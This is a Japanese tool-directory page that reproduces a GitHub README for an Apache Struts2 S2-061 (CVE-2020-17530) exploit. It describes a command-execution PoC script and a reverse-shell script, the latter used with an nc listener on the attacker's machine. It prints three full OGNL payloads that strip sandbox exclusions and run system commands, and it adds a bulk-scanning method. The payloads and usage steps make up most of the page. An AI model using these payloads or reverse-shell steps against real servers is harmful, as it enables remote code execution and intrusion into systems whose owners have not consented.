Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-17530 — S2-061のペイロード、および対応する簡単なPoC/Exp | Kitploit
ツール/GitHubGitHub/wuzuowei/cve-2020-17530
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

S2-061のペイロード、および対応する簡単なPoC/Exp

リポジトリを見る
46225年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

S2-061

これらのスクリプトは、vulhub の struts2-059/061 脆弱性テスト環境に基づいて作成されています。汎用的なものではないため、先輩方のご指導をお願いいたします。

  • struts2-061-poc.py(簡易システムコマンド実行可能)

    使用方法:python struts2-061-poc.py http://ip:port command

    例:python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py(リバースシェル取得可能)

    使用方法:

    1. まずマシン A で指定ポートをリスンします(例:nc -lvvp 7777)

    2. スクリプトを実行:python2 S2-061-shell.py target_url、target_url は脆弱性環境のアドレスで、形式は http://ip:port

    3. スクリプトの指示に従い、マシン A の IP とリスンポートを入力すると、マシン A のリスンウィンドウでシェルを取得できます



以下は、数人の先輩方が作成したペイロードです:

payload-1:(ka1n4t 氏より)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(Smi1e 氏より)

完全な分析記事:https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

application を使用、完全な POC

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

request を使用、単一リクエストで有効な完全な POC(推奨)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

注意:上記の OGNL コードを URL エンコードしてからツールで使用してください。

検出の考え方:

新バージョンの struts2 では、パラメータを介して OGNL 式を解析することができなくなりました。そのため、スクリプトを使用して本脆弱性の有無を一括スキャンしたい場合は、全パラメータを直接ブルートフォースし、ページ内に期待される結果テキストが含まれているかどうかを判断することを検討してください。

例: %{ 'gcowsec-' + (2000 + 20).toString()}

期待される結果: gcowsec-2020

スクリプトを使用して結果にこれが含まれているかを判断すればよいです。

ツールをダウンロード